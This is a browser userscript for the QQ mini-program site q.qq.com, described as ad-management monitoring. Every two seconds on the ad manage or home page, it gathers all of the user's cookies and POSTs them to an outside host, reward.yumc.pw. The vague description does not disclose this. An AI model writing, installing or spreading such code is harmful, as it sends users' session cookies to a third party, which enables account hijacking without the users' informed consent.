37 lines
		
	
	
		
			1.3 KiB
		
	
	
	
		
			JavaScript
		
	
	
	
	
	
			
		
		
	
	
			37 lines
		
	
	
		
			1.3 KiB
		
	
	
	
		
			JavaScript
		
	
	
	
	
	
// ==UserScript==
 | 
						|
// @name         QQ小程序授权上报
 | 
						|
// @namespace    https://qq.yumc.pw/
 | 
						|
// @version      0.2
 | 
						|
// @description  report ad manage monitoring!
 | 
						|
// @author       MiaoWoo
 | 
						|
// @match        http*://q.qq.com
 | 
						|
// @grant        none
 | 
						|
// ==/UserScript==
 | 
						|
 | 
						|
(function () {
 | 
						|
    'use strict'
 | 
						|
    var taskId = undefined
 | 
						|
    async function reportQCookie() {
 | 
						|
        let path = location.hash.substr(1)
 | 
						|
        if (path == '/ad/manage' || path == '/home') {
 | 
						|
            let res = await fetch('https://q.qq.com/pb3/GetPreCacheUrl').then(r => r.json())
 | 
						|
            if (res.code == 0) {
 | 
						|
                clearInterval(taskId)
 | 
						|
                let cookies = document.cookie.split(';').map(s => s.trim().split('=', 2)).reduce((pre, cur, index) => {
 | 
						|
                    pre[cur[0]] = cur[1]
 | 
						|
                    return pre
 | 
						|
                }, {})
 | 
						|
                let report = await fetch('https://reward.yumc.pw/callback/qcookie', {
 | 
						|
                    method: "POST",
 | 
						|
                    headers: {
 | 
						|
                        'Content-Type': 'application/json'
 | 
						|
                    },
 | 
						|
                    body: JSON.stringify(cookies)
 | 
						|
                }).then(r => r.json())
 | 
						|
                console.log('小程序Cookie上报完毕', report)
 | 
						|
            }
 | 
						|
        }
 | 
						|
    }
 | 
						|
    taskId = setInterval(reportQCookie, 2000)
 | 
						|
})()
 |